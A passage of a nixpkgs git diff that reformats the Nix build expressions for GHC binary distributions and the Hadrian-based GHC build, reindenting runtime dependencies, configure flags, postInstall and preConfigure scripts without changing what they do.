+    done
+  ''
+  # On Darwin, GHC doesn't install a bundled libffi.so, but instead uses the
+  # system one (see postUnpack). Due to a bug in Hadrian, the (bundled) libffi
+  # headers are installed anyways. This problem has been fixed in GHC 9.2:
+  # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/8189. While the system
+  # header should shadow the GHC installed ones, remove them to be safe.
+  + lib.optionalString (stdenv.hostPlatform.isDarwin && binDistUsed.isHadrian or false) ''
+    echo Deleting redundant libffi headers:
+    find "$out" '(' -name ffi.h -or -name ffitarget.h ')' -print -delete
+  '';
 
   # Apparently necessary for the ghc Alpine (musl) bindist:
   # When we strip, and then run the
@@ -475,26 +472,25 @@ stdenv.mkDerivation {
     [ $(./main) == "yes" ]
   '';
 
-  passthru =
-    {
-      targetPrefix = "";
-      enableShared = true;
+  passthru = {
+    targetPrefix = "";
+    enableShared = true;
 
-      inherit llvmPackages;
+    inherit llvmPackages;
 
-      # Our Cabal compiler name
-      haskellCompilerName = "ghc-${version}";
-    }
-    # We duplicate binDistUsed here since we have a sensible default even if no bindist is available,
-    # this makes sure that getting the `meta` attribute doesn't throw even on unsupported platforms.
-    // lib.optionalAttrs (ghcBinDists.${distSetName}.${stdenv.hostPlatform.system}.isHadrian or false) {
-      # Normal GHC derivations expose the hadrian derivation used to build them
-      # here. In the case of bindists we just make sure that the attribute exists,
-      # as it is used for checking if a GHC derivation has been built with hadrian.
-      # The isHadrian mechanism will become obsolete with GHCs that use hadrian
-      # exclusively, i.e. 9.6 (and 9.4?).
-      hadrian = null;
-    };
+    # Our Cabal compiler name
+    haskellCompilerName = "ghc-${version}";
+  }
+  # We duplicate binDistUsed here since we have a sensible default even if no bindist is available,
+  # this makes sure that getting the `meta` attribute doesn't throw even on unsupported platforms.
+  // lib.optionalAttrs (ghcBinDists.${distSetName}.${stdenv.hostPlatform.system}.isHadrian or false) {
+    # Normal GHC derivations expose the hadrian derivation used to build them
+    # here. In the case of bindists we just make sure that the attribute exists,
+    # as it is used for checking if a GHC derivation has been built with hadrian.
+    # The isHadrian mechanism will become obsolete with GHCs that use hadrian
+    # exclusively, i.e. 9.6 (and 9.4?).
+    hadrian = null;
+  };
 
   meta = rec {
     homepage = "http://haskell.org/ghc";
diff --git a/pkgs/development/compilers/ghc/9.2.4-binary.nix b/pkgs/development/compilers/ghc/9.2.4-binary.nix
index 6641deada776..bf0758d888c3 100644
--- a/pkgs/development/compilers/ghc/9.2.4-binary.nix
+++ b/pkgs/development/compilers/ghc/9.2.4-binary.nix
@@ -202,19 +202,18 @@ let
 
   libEnvVar = lib.optionalString stdenv.hostPlatform.isDarwin "DY" + "LD_LIBRARY_PATH";
 
-  runtimeDeps =
-    [
-      targetPackages.stdenv.cc
-      targetPackages.stdenv.cc.bintools
-      coreutils # for cat
-    ]
-    ++ lib.optionals useLLVM [
-      (lib.getBin llvmPackages.llvm)
-    ]
-    # On darwin, we need unwrapped bintools as well (for otool)
-    ++ lib.optionals (stdenv.targetPlatform.linker == "cctools") [
-      targetPackages.stdenv.cc.bintools.bintools
-    ];
+  runtimeDeps = [
+    targetPackages.stdenv.cc
+    targetPackages.stdenv.cc.bintools
+    coreutils # for cat
+  ]
+  ++ lib.optionals useLLVM [
+    (lib.getBin llvmPackages.llvm)
+  ]
+  # On darwin, we need unwrapped bintools as well (for otool)
+  ++ lib.optionals (stdenv.targetPlatform.linker == "cctools") [
+    targetPackages.stdenv.cc.bintools.bintools
+  ];
 
 in
 
@@ -333,15 +332,14 @@ stdenv.mkDerivation {
   preConfigure = lib.optionalString stdenv.targetPlatform.isAarch32 "LD=ld.gold";
 
   configurePlatforms = [ ];
-  configureFlags =
-    [
-      "--with-gmp-includes=${lib.getDev gmpUsed}/include"
-      # Note `--with-gmp-libraries` does nothing for GHC bindists:
-      # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/6124
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin "--with-gcc=${./gcc-clang-wrapper.sh}"
-    # From: https://github.com/NixOS/nixpkgs/pull/43369/commits
-    ++ lib.optional stdenv.hostPlatform.isMusl "--disable-ld-override";
+  configureFlags = [
+    "--with-gmp-includes=${lib.getDev gmpUsed}/include"
+    # Note `--with-gmp-libraries` does nothing for GHC bindists:
+    # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/6124
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "--with-gcc=${./gcc-clang-wrapper.sh}"
+  # From: https://github.com/NixOS/nixpkgs/pull/43369/commits
+  ++ lib.optional stdenv.hostPlatform.isMusl "--disable-ld-override";
 
   # No building is necessary, but calling make without flags ironically
   # calls install-strip ...
@@ -459,26 +457,25 @@ stdenv.mkDerivation {
     [ $(./main) == "yes" ]
   '';
 
-  passthru =
-    {
-      targetPrefix = "";
-      enableShared = true;
+  passthru = {
+    targetPrefix = "";
+    enableShared = true;
 
-      inherit llvmPackages;
+    inherit llvmPackages;
 
-      # Our Cabal compiler name
-      haskellCompilerName = "ghc-${version}";
-    }
-    # We duplicate binDistUsed here since we have a sensible default even if no bindist is available,
-    # this makes sure that getting the `meta` attribute doesn't throw even on unsupported platforms.
-    // lib.optionalAttrs (ghcBinDists.${distSetName}.${stdenv.hostPlatform.system}.isHadrian or false) {
-      # Normal GHC derivations expose the hadrian derivation used to build them
-      # here. In the case of bindists we just make sure that the attribute exists,
-      # as it is used for checking if a GHC derivation has been built with hadrian.
-      # The isHadrian mechanism will become obsolete with GHCs that use hadrian
-      # exclusively, i.e. 9.6 (and 9.4?).
-      hadrian = null;
-    };
+    # Our Cabal compiler name
+    haskellCompilerName = "ghc-${version}";
+  }
+  # We duplicate binDistUsed here since we have a sensible default even if no bindist is available,
+  # this makes sure that getting the `meta` attribute doesn't throw even on unsupported platforms.
+  // lib.optionalAttrs (ghcBinDists.${distSetName}.${stdenv.hostPlatform.system}.isHadrian or false) {
+    # Normal GHC derivations expose the hadrian derivation used to build them
+    # here. In the case of bindists we just make sure that the attribute exists,
+    # as it is used for checking if a GHC derivation has been built with hadrian.
+    # The isHadrian mechanism will become obsolete with GHCs that use hadrian
+    # exclusively, i.e. 9.6 (and 9.4?).
+    hadrian = null;
+  };
 
   meta = rec {
     homepage = "http://haskell.org/ghc";
diff --git a/pkgs/development/compilers/ghc/9.6.3-binary.nix b/pkgs/development/compilers/ghc/9.6.3-binary.nix
index ed9fb0a0e458..377ea55a4a60 100644
--- a/pkgs/development/compilers/ghc/9.6.3-binary.nix
+++ b/pkgs/development/compilers/ghc/9.6.3-binary.nix
@@ -201,19 +201,18 @@ let
 
   libEnvVar = lib.optionalString stdenv.hostPlatform.isDarwin "DY" + "LD_LIBRARY_PATH";
 
-  runtimeDeps =
-    [
-      targetPackages.stdenv.cc
-      targetPackages.stdenv.cc.bintools
-      coreutils # for cat
-    ]
-    ++ lib.optionals useLLVM [
-      (lib.getBin llvmPackages.llvm)
-    ]
-    # On darwin, we need unwrapped bintools as well (for otool)
-    ++ lib.optionals (stdenv.targetPlatform.linker == "cctools") [
-      targetPackages.stdenv.cc.bintools.bintools
-    ];
+  runtimeDeps = [
+    targetPackages.stdenv.cc
+    targetPackages.stdenv.cc.bintools
+    coreutils # for cat
+  ]
+  ++ lib.optionals useLLVM [
+    (lib.getBin llvmPackages.llvm)
+  ]
+  # On darwin, we need unwrapped bintools as well (for otool)
+  ++ lib.optionals (stdenv.targetPlatform.linker == "cctools") [
+    targetPackages.stdenv.cc.bintools.bintools
+  ];
 
 in
 
@@ -332,21 +331,20 @@ stdenv.mkDerivation {
   dontBuild = true;
 
   # Patch scripts to include runtime dependencies in $PATH.
-  postInstall =
-    ''
-      for i in "$out/bin/"*; do
-        test ! -h "$i" || continue
-        isScript "$i" || continue
-        sed -i -e '2i export PATH="${lib.makeBinPath runtimeDeps}:$PATH"' "$i"
-      done
-    ''
-    + lib.optionalString stdenv.targetPlatform.isDarwin ''
-      # Work around building with binary GHC on Darwin due to GHC’s use of `ar -L` when it
-      # detects `llvm-ar` even though the resulting archives are not supported by ld64.
-      # https://gitlab.haskell.org/ghc/ghc/-/issues/23188
-      # https://github.com/haskell/cabal/issues/8882
-      sed -i -e 's/,("ar supports -L", "YES")/,("ar supports -L", "NO")/' "$out/lib/ghc-${version}/lib/settings"
-    '';
+  postInstall = ''
+    for i in "$out/bin/"*; do
+      test ! -h "$i" || continue
+      isScript "$i" || continue
+      sed -i -e '2i export PATH="${lib.makeBinPath runtimeDeps}:$PATH"' "$i"
+    done
+  ''
+  + lib.optionalString stdenv.targetPlatform.isDarwin ''
+    # Work around building with binary GHC on Darwin due to GHC’s use of `ar -L` when it
+    # detects `llvm-ar` even though the resulting archives are not supported by ld64.
+    # https://gitlab.haskell.org/ghc/ghc/-/issues/23188
+    # https://github.com/haskell/cabal/issues/8882
+    sed -i -e 's/,("ar supports -L", "YES")/,("ar supports -L", "NO")/' "$out/lib/ghc-${version}/lib/settings"
+  '';
 
   # Apparently necessary for the ghc Alpine (musl) bindist:
   # When we strip, and then run the
diff --git a/pkgs/development/compilers/ghc/9.8.4-binary.nix b/pkgs/development/compilers/ghc/9.8.4-binary.nix
index 2064b87fc8d0..35e26baba956 100644
--- a/pkgs/development/compilers/ghc/9.8.4-binary.nix
+++ b/pkgs/development/compilers/ghc/9.8.4-binary.nix
@@ -215,19 +215,18 @@ let
 
   libEnvVar = lib.optionalString stdenv.hostPlatform.isDarwin "DY" + "LD_LIBRARY_PATH";
 
-  runtimeDeps =
-    [
-      targetPackages.stdenv.cc
-      targetPackages.stdenv.cc.bintools
-      coreutils # for cat
-    ]
-    ++ lib.optionals useLLVM [
-      (lib.getBin llvmPackages.llvm)
-    ]
-    # On darwin, we need unwrapped bintools as well (for otool)
-    ++ lib.optionals (stdenv.targetPlatform.linker == "cctools") [
-      targetPackages.stdenv.cc.bintools.bintools
-    ];
+  runtimeDeps = [
+    targetPackages.stdenv.cc
+    targetPackages.stdenv.cc.bintools
+    coreutils # for cat
+  ]
+  ++ lib.optionals useLLVM [
+    (lib.getBin llvmPackages.llvm)
+  ]
+  # On darwin, we need unwrapped bintools as well (for otool)
+  ++ lib.optionals (stdenv.targetPlatform.linker == "cctools") [
+    targetPackages.stdenv.cc.bintools.bintools
+  ];
 
 in
 
@@ -346,21 +345,20 @@ stdenv.mkDerivation {
   dontBuild = true;
 
   # Patch scripts to include runtime dependencies in $PATH.
-  postInstall =
-    ''
-      for i in "$out/bin/"*; do
-        test ! -h "$i" || continue
-        isScript "$i" || continue
-        sed -i -e '2i export PATH="${lib.makeBinPath runtimeDeps}:$PATH"' "$i"
-      done
-    ''
-    + lib.optionalString stdenv.targetPlatform.isDarwin ''
-      # Work around building with binary GHC on Darwin due to GHC’s use of `ar -L` when it
-      # detects `llvm-ar` even though the resulting archives are not supported by ld64.
-      # https://gitlab.haskell.org/ghc/ghc/-/issues/23188
-      # https://github.com/haskell/cabal/issues/8882
-      sed -i -e 's/,("ar supports -L", "YES")/,("ar supports -L", "NO")/' "$out/lib/ghc-${version}/lib/settings"
-    '';
+  postInstall = ''
+    for i in "$out/bin/"*; do
+      test ! -h "$i" || continue
+      isScript "$i" || continue
+      sed -i -e '2i export PATH="${lib.makeBinPath runtimeDeps}:$PATH"' "$i"
+    done
+  ''
+  + lib.optionalString stdenv.targetPlatform.isDarwin ''
+    # Work around building with binary GHC on Darwin due to GHC’s use of `ar -L` when it
+    # detects `llvm-ar` even though the resulting archives are not supported by ld64.
+    # https://gitlab.haskell.org/ghc/ghc/-/issues/23188
+    # https://github.com/haskell/cabal/issues/8882
+    sed -i -e 's/,("ar supports -L", "YES")/,("ar supports -L", "NO")/' "$out/lib/ghc-${version}/lib/settings"
+  '';
 
   # Apparently necessary for the ghc Alpine (musl) bindist:
   # When we strip, and then run the
diff --git a/pkgs/development/compilers/ghc/common-hadrian.nix b/pkgs/development/compilers/ghc/common-hadrian.nix
index f94890b91358..42afd04d7167 100644
--- a/pkgs/development/compilers/ghc/common-hadrian.nix
+++ b/pkgs/development/compilers/ghc/common-hadrian.nix
@@ -371,7 +371,8 @@ let
       else
         pkgsBuildTarget.targetPackages.stdenv.cc
     )
-  ] ++ lib.optional useLLVM buildTargetLlvmPackages.llvm;
+  ]
+  ++ lib.optional useLLVM buildTargetLlvmPackages.llvm;
 
   buildCC = buildPackages.stdenv.cc;
   targetCC = builtins.head toolsForTarget;
@@ -487,113 +488,112 @@ stdenv.mkDerivation (
 
     # GHC is a bit confused on its cross terminology.
     # TODO(@sternenseemann): investigate coreutils dependencies and pass absolute paths
-    preConfigure =
-      ''
-        for env in $(env | grep '^TARGET_' | sed -E 's|\+?=.*||'); do
-          export "''${env#TARGET_}=''${!env}"
-        done
-        # No need for absolute paths since these tools only need to work during the build
-        export CC_STAGE0="$CC_FOR_BUILD"
-        export LD_STAGE0="$LD_FOR_BUILD"
-        export AR_STAGE0="$AR_FOR_BUILD"
+    preConfigure = ''
+      for env in $(env | grep '^TARGET_' | sed -E 's|\+?=.*||'); do
+        export "''${env#TARGET_}=''${!env}"
+      done
+      # No need for absolute paths since these tools only need to work during the build
+      export CC_STAGE0="$CC_FOR_BUILD"
+      export LD_STAGE0="$LD_FOR_BUILD"
+      export AR_STAGE0="$AR_FOR_BUILD"
 
-        # Stage0 (build->build) which builds stage 1
-        export GHC="${bootPkgs.ghc}/bin/ghc"
-        # GHC is a bit confused on its cross terminology, as these would normally be
-        # the *host* tools.
-        export CC="${toolPath "cc" targetCC}"
-        export CXX="${toolPath "c++" targetCC}"
-        # Use gold to work around https://sourceware.org/bugzilla/show_bug.cgi?id=16177
-        export LD="${toolPath "ld${lib.optionalString useLdGold ".gold"}" targetCC}"
-        export AS="${toolPath "as" targetCC}"
-        export AR="${toolPath "ar" targetCC}"
-        export NM="${toolPath "nm" targetCC}"
-        export RANLIB="${toolPath "ranlib" targetCC}"
-        export READELF="${toolPath "readelf" targetCC}"
-        export STRIP="${toolPath "strip" targetCC}"
-        export OBJDUMP="${toolPath "objdump" targetCC}"
-      ''
-      + lib.optionalString (stdenv.targetPlatform.linker == "cctools") ''
-        export OTOOL="${toolPath "otool" targetCC}"
-        export INSTALL_NAME_TOOL="${toolPath "install_name_tool" targetCC}"
-      ''
-      + lib.optionalString useLLVM ''
-        export LLC="${lib.getBin buildTargetLlvmPackages.llvm}/bin/llc"
-        export OPT="${lib.getBin buildTargetLlvmPackages.llvm}/bin/opt"
-      ''
-      + lib.optionalString (useLLVM && stdenv.targetPlatform.isDarwin) ''
-        # LLVM backend on Darwin needs clang: https://downloads.haskell.org/~ghc/latest/docs/html/users_guide/codegens.html#llvm-code-generator-fllvm
-        # The executable we specify via $CLANG is used as an assembler (exclusively, it seems, but this isn't
-        # clarified in any user facing documentation). As such, it'll be called on assembly produced by $CC
-        # which usually comes from the darwin stdenv. To prevent a situation where $CLANG doesn't understand
-        # the assembly it is given, we need to make sure that it matches the LLVM version of $CC if possible.
-        # It is unclear (at the time of writing 2024-09-01)  whether $CC should match the LLVM version we use
-        # for llc and opt which would require using a custom darwin stdenv for targetCC.
-        export CLANG="${
-          if targetCC.isClang then
-            toolPath "clang" targetCC
-          else
-            "${buildTargetLlvmPackages.clang}/bin/${buildTargetLlvmPackages.clang.targetPrefix}clang"
-        }"
-      ''
-      + lib.optionalString (stdenv.hostPlatform.isLinux && hostPlatform.libc == "glibc") ''
-        export LOCALE_ARCHIVE="${glibcLocales}/lib/locale/locale-archive"
-      ''
-      + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-        export NIX_LDFLAGS+=" -rpath $out/lib/ghc-${version}"
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        export NIX_LDFLAGS+=" -no_dtrace_dof"
+      # Stage0 (build->build) which builds stage 1
+      export GHC="${bootPkgs.ghc}/bin/ghc"
+      # GHC is a bit confused on its cross terminology, as these would normally be
+      # the *host* tools.
+      export CC="${toolPath "cc" targetCC}"
+      export CXX="${toolPath "c++" targetCC}"
+      # Use gold to work around https://sourceware.org/bugzilla/show_bug.cgi?id=16177
+      export LD="${toolPath "ld${lib.optionalString useLdGold ".gold"}" targetCC}"
+      export AS="${toolPath "as" targetCC}"
+      export AR="${toolPath "ar" targetCC}"
+      export NM="${toolPath "nm" targetCC}"
+      export RANLIB="${toolPath "ranlib" targetCC}"
+      export READELF="${toolPath "readelf" targetCC}"
+      export STRIP="${toolPath "strip" targetCC}"
+      export OBJDUMP="${toolPath "objdump" targetCC}"
+    ''
+    + lib.optionalString (stdenv.targetPlatform.linker == "cctools") ''
+      export OTOOL="${toolPath "otool" targetCC}"
+      export INSTALL_NAME_TOOL="${toolPath "install_name_tool" targetCC}"
+    ''
+    + lib.optionalString useLLVM ''
+      export LLC="${lib.getBin buildTargetLlvmPackages.llvm}/bin/llc"
+      export OPT="${lib.getBin buildTargetLlvmPackages.llvm}/bin/opt"
+    ''
+    + lib.optionalString (useLLVM && stdenv.targetPlatform.isDarwin) ''
+      # LLVM backend on Darwin needs clang: https://downloads.haskell.org/~ghc/latest/docs/html/users_guide/codegens.html#llvm-code-generator-fllvm
+      # The executable we specify via $CLANG is used as an assembler (exclusively, it seems, but this isn't
+      # clarified in any user facing documentation). As such, it'll be called on assembly produced by $CC
+      # which usually comes from the darwin stdenv. To prevent a situation where $CLANG doesn't understand
+      # the assembly it is given, we need to make sure that it matches the LLVM version of $CC if possible.
+      # It is unclear (at the time of writing 2024-09-01)  whether $CC should match the LLVM version we use
+      # for llc and opt which would require using a custom darwin stdenv for targetCC.
+      export CLANG="${
+        if targetCC.isClang then
+          toolPath "clang" targetCC
+        else
+          "${buildTargetLlvmPackages.clang}/bin/${buildTargetLlvmPackages.clang.targetPrefix}clang"
+      }"
+    ''
+    + lib.optionalString (stdenv.hostPlatform.isLinux && hostPlatform.libc == "glibc") ''
+      export LOCALE_ARCHIVE="${glibcLocales}/lib/locale/locale-archive"
+    ''
+    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+      export NIX_LDFLAGS+=" -rpath $out/lib/ghc-${version}"
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      export NIX_LDFLAGS+=" -no_dtrace_dof"
 
-        # GHC tries the host xattr /usr/bin/xattr by default which fails since it expects python to be 2.7
-        export XATTR=${lib.getBin xattr}/bin/xattr
-      ''
-      # If we are not using release tarballs, some files need to be generated using
-      # the boot script.
-      + lib.optionalString (rev != null) ''
-        echo ${version} > VERSION
-        echo ${rev} > GIT_COMMIT_ID
-        ./boot
-      ''
-      + lib.optionalString targetPlatform.useAndroidPrebuilt ''
-        sed -i -e '5i ,("armv7a-unknown-linux-androideabi", ("e-m:e-p:32:32-i64:64-v128:64:128-a:0:32-n32-S64", "cortex-a8", ""))' llvm-targets
-      ''
-      + lib.optionalString targetPlatform.isMusl ''
-        echo "patching llvm-targets for musl targets..."
-        echo "Cloning these existing '*-linux-gnu*' targets:"
-        grep linux-gnu llvm-targets | sed 's/^/  /'
-        echo "(go go gadget sed)"
-        sed -i 's,\(^.*linux-\)gnu\(.*\)$,\0\n\1musl\2,' llvm-targets
-        echo "llvm-targets now contains these '*-linux-musl*' targets:"
-        grep linux-musl llvm-targets | sed 's/^/  /'
+      # GHC tries the host xattr /usr/bin/xattr by default which fails since it expects python to be 2.7
+      export XATTR=${lib.getBin xattr}/bin/xattr
+    ''
+    # If we are not using release tarballs, some files need to be generated using
+    # the boot script.
+    + lib.optionalString (rev != null) ''
+      echo ${version} > VERSION
+      echo ${rev} > GIT_COMMIT_ID
+      ./boot
+    ''
+    + lib.optionalString targetPlatform.useAndroidPrebuilt ''
+      sed -i -e '5i ,("armv7a-unknown-linux-androideabi", ("e-m:e-p:32:32-i64:64-v128:64:128-a:0:32-n32-S64", "cortex-a8", ""))' llvm-targets
+    ''
+    + lib.optionalString targetPlatform.isMusl ''
+      echo "patching llvm-targets for musl targets..."
+      echo "Cloning these existing '*-linux-gnu*' targets:"
+      grep linux-gnu llvm-targets | sed 's/^/  /'
+      echo "(go go gadget sed)"
+      sed -i 's,\(^.*linux-\)gnu\(.*\)$,\0\n\1musl\2,' llvm-targets
+      echo "llvm-targets now contains these '*-linux-musl*' targets:"
+      grep linux-musl llvm-targets | sed 's/^/  /'
 
-        echo "And now patching to preserve '-musleabi' as done with '-gnueabi'"
-        # (aclocal.m4 is actual source, but patch configure as well since we don't re-gen)
-        for x in configure aclocal.m4; do
-          substituteInPlace $x \
-            --replace '*-android*|*-gnueabi*)' \
-                      '*-android*|*-gnueabi*|*-musleabi*)'
-        done
-      ''
-      # Need to make writable EM_CACHE for emscripten. The path in EM_CACHE must be absolute.
-      # https://gitlab.haskell.org/ghc/ghc/-/wikis/javascript-backend#configure-fails-with-sub-word-sized-atomic-operations-not-available
-      + lib.optionalString targetPlatform.isGhcjs ''
-        export EM_CACHE="$(realpath $(mktemp -d emcache.XXXXXXXXXX))"
-        cp -Lr ${
-          targetCC # == emscripten
-        }/share/emscripten/cache/* "$EM_CACHE/"
-        chmod u+rwX -R "$EM_CACHE"
-      ''
-      # Create bash array hadrianFlagsArray for use in buildPhase. Do it in
-      # preConfigure, so overrideAttrs can be used to modify it effectively.
-      # hadrianSettings are passed via the command line so they are more visible
-      # in the build log.
-      + ''
-        hadrianFlagsArray=(
-          "-j$NIX_BUILD_CORES"
-          ${lib.escapeShellArgs hadrianSettings}
-        )
-      '';
+      echo "And now patching to preserve '-musleabi' as done with '-gnueabi'"
+      # (aclocal.m4 is actual source, but patch configure as well since we don't re-gen)
+      for x in configure aclocal.m4; do
+        substituteInPlace $x \
+          --replace '*-android*|*-gnueabi*)' \
+                    '*-android*|*-gnueabi*|*-musleabi*)'
+      done
+    ''
+    # Need to make writable EM_CACHE for emscripten. The path in EM_CACHE must be absolute.
+    # https://gitlab.haskell.org/ghc/ghc/-/wikis/javascript-backend#configure-fails-with-sub-word-sized-atomic-operations-not-available
+    + lib.optionalString targetPlatform.isGhcjs ''
+      export EM_CACHE="$(realpath $(mktemp -d emcache.XXXXXXXXXX))"
+      cp -Lr ${
+        targetCC # == emscripten
+      }/share/emscripten/cache/* "$EM_CACHE/"
+      chmod u+rwX -R "$EM_CACHE"
+    ''
+    # Create bash array hadrianFlagsArray for use in buildPhase. Do it in
+    # preConfigure, so overrideAttrs can be used to modify it effectively.
+    # hadrianSettings are passed via the command line so they are more visible
+    # in the build log.
+    + ''
+      hadrianFlagsArray=(
+        "-j$NIX_BUILD_CORES"
+        ${lib.escapeShellArgs hadrianSettings}
+      )
+    '';
 
     ${if targetPlatform.isGhcjs then "configureScript" else null} = "emconfigure ./configure";
     # GHC currently ships an edited config.sub so ghcjs is accepted which we can not rollback
@@ -603,67 +603,67 @@ stdenv.mkDerivation (
     configurePlatforms = [
       "build"
       "host"
-    ] ++ lib.optional (targetPlatform != hostPlatform) "target";
+    ]
+    ++ lib.optional (targetPlatform != hostPlatform) "target";
 
     # `--with` flags for libraries needed for RTS linker
-    configureFlags =
-      [
-        "--datadir=$doc/share/doc/ghc"
-      ]
-      ++ lib.optionals enableTerminfo [
-        "--with-curses-includes=${lib.getDev targetLibs.ncurses}/include"
-        "--with-curses-libraries=${lib.getLib targetLibs.ncurses}/lib"
-      ]
-      ++ lib.optionals (libffi != null && !targetPlatform.isGhcjs) [
-        "--with-system-libffi"
-        "--with-ffi-includes=${targetLibs.libffi.dev}/include"
-        "--with-ffi-libraries=${targetLibs.libffi.out}/lib"
-      ]
-      ++ lib.optionals (targetPlatform == hostPlatform && !enableNativeBignum) [
-        "--with-gmp-includes=${targetLibs.gmp.dev}/include"
-        "--with-gmp-libraries=${targetLibs.gmp.out}/lib"
-      ]
-      ++
-        lib.optionals
-          (targetPlatform == hostPlatform && hostPlatform.libc != "glibc" && !targetPlatform.isWindows)
-          [
-            "--with-iconv-includes=${libiconv}/include"
-            "--with-iconv-libraries=${libiconv}/lib"
-          ]
-      ++ lib.optionals (targetPlatform != hostPlatform) [
-        "--enable-bootstrap-with-devel-snapshot"
-      ]
-      ++ lib.optionals useLdGold [
-        "CFLAGS=-fuse-ld=gold"
-        "CONF_GCC_LINKER_OPTS_STAGE1=-fuse-ld=gold"
-        "CONF_GCC_LINKER_OPTS_STAGE2=-fuse-ld=gold"
-      ]
-      ++ lib.optionals (disableLargeAddressSpace) [
-        "--disable-large-address-space"
-      ]
-      ++ lib.optionals enableDwarf [
-        "--enable-dwarf-unwind"
-        "--with-libdw-includes=${lib.getDev targetLibs.elfutils}/include"
-        "--with-libdw-libraries=${lib.getLib targetLibs.elfutils}/lib"
-      ]
-      ++ lib.optionals targetPlatform.isDarwin [
-        # Darwin uses llvm-ar. GHC will try to use `-L` with `ar` when it is `llvm-ar`
-        # but it doesn’t currently work because Cabal never uses `-L` on Darwin. See:
-        # https://gitlab.haskell.org/ghc/ghc/-/issues/23188
-        # https://github.com/haskell/cabal/issues/8882
-        "fp_cv_prog_ar_supports_dash_l=no"
-      ]
-      ++ lib.optionals enableUnregisterised [
-        "--enable-unregisterised"
-      ]
-      ++
-        lib.optionals
-          (stdenv.buildPlatform.isAarch64 && stdenv.buildPlatform.isMusl && lib.versionOlder version "9.12")
-          [
-            # The bootstrap binaries for aarch64 musl were built for the wrong triple.
-            # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/13182
-            "--enable-ignore-build-platform-mismatch"
-          ];
+    configureFlags = [
+      "--datadir=$doc/share/doc/ghc"
+    ]
+    ++ lib.optionals enableTerminfo [
+      "--with-curses-includes=${lib.getDev targetLibs.ncurses}/include"
+      "--with-curses-libraries=${lib.getLib targetLibs.ncurses}/lib"
+    ]
+    ++ lib.optionals (libffi != null && !targetPlatform.isGhcjs) [
+      "--with-system-libffi"
+      "--with-ffi-includes=${targetLibs.libffi.dev}/include"
+      "--with-ffi-libraries=${targetLibs.libffi.out}/lib"
+    ]
+    ++ lib.optionals (targetPlatform == hostPlatform && !enableNativeBignum) [
+      "--with-gmp-includes=${targetLibs.gmp.dev}/include"
+      "--with-gmp-libraries=${targetLibs.gmp.out}/lib"
+    ]
+    ++
+      lib.optionals
+        (targetPlatform == hostPlatform && hostPlatform.libc != "glibc" && !targetPlatform.isWindows)
+        [
+          "--with-iconv-includes=${libiconv}/include"
+          "--with-iconv-libraries=${libiconv}/lib"
+        ]
+    ++ lib.optionals (targetPlatform != hostPlatform) [
+      "--enable-bootstrap-with-devel-snapshot"
+    ]
+    ++ lib.optionals useLdGold [
+      "CFLAGS=-fuse-ld=gold"
+      "CONF_GCC_LINKER_OPTS_STAGE1=-fuse-ld=gold"
+      "CONF_GCC_LINKER_OPTS_STAGE2=-fuse-ld=gold"
+    ]
+    ++ lib.optionals (disableLargeAddressSpace) [
+      "--disable-large-address-space"
+    ]
+    ++ lib.optionals enableDwarf [
+      "--enable-dwarf-unwind"
+      "--with-libdw-includes=${lib.getDev targetLibs.elfutils}/include"
+      "--with-libdw-libraries=${lib.getLib targetLibs.elfutils}/lib"
+    ]
+    ++ lib.optionals targetPlatform.isDarwin [
+      # Darwin uses llvm-ar. GHC will try to use `-L` with `ar` when it is `llvm-ar`
+      # but it doesn’t currently work because Cabal never uses `-L` on Darwin. See:
+      # https://gitlab.haskell.org/ghc/ghc/-/issues/23188
+      # https://github.com/haskell/cabal/issues/8882
+      "fp_cv_prog_ar_supports_dash_l=no"
+    ]
+    ++ lib.optionals enableUnregisterised [
+      "--enable-unregisterised"
+    ]
+    ++
+      lib.optionals
+        (stdenv.buildPlatform.isAarch64 && stdenv.buildPlatform.isMusl && lib.versionOlder version "9.12")
+        [
+          # The bootstrap binaries for aarch64 musl were built for the wrong triple.
+          # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/13182
+          "--enable-ignore-build-platform-mismatch"
+        ];
 
     # Make sure we never relax`$PATH` and hooks support for compatibility.
     strictDeps = true;
@@ -671,25 +671,24 @@ stdenv.mkDerivation (
     # Don’t add -liconv to LDFLAGS automatically so that GHC will add it itself.
     dontAddExtraLibs = true;
 
-    nativeBuildInputs =
-      [
-        autoreconfHook
-        perl
-        hadrian
-        bootPkgs.alex
-        bootPkgs.happy
-        bootPkgs.hscolour
-        # Python is used in a few scripts invoked by hadrian to generate e.g. rts headers.
-        python3
-        # Tool used to update GHC's settings file in postInstall
-        bootPkgs.ghc-settings-edit
-      ]
-      ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-        autoSignDarwinBinariesHook
-      ]
-      ++ lib.optionals enableDocs [
-        sphinx
-      ];
+    nativeBuildInputs = [
+      autoreconfHook
+      perl
+      hadrian
+      bootPkgs.alex
+      bootPkgs.happy
+      bootPkgs.hscolour
+      # Python is used in a few scripts invoked by hadrian to generate e.g. rts headers.
+      python3
+      # Tool used to update GHC's settings file in postInstall
+      bootPkgs.ghc-settings-edit
+    ]
+    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+      autoSignDarwinBinariesHook
+    ]
+    ++ lib.optionals enableDocs [
+      sphinx
+    ];
 
     # For building runtime libs
     depsBuildTarget = toolsForTarget;
@@ -716,17 +715,16 @@ stdenv.mkDerivation (
     depsTargetTarget = map lib.getDev (libDeps targetPlatform);
     depsTargetTargetPropagated = map (lib.getOutput "out") (libDeps targetPlatform);
 
-    hadrianFlags =
-      [
-        "--flavour=${ghcFlavour}"
-        "--bignum=${if enableNativeBignum then "native" else "gmp"}"
-        "--docs=${if enableDocs then "no-sphinx-pdfs" else "no-sphinx"}"
-      ]
-      ++ lib.optionals (lib.versionAtLeast version "9.8") [
-        # In 9.14 this will be default with release flavour.
-        # See https://gitlab.haskell.org/ghc/ghc/-/merge_requests/13444
-        "--hash-unit-ids"
-      ];
+    hadrianFlags = [
+      "--flavour=${ghcFlavour}"
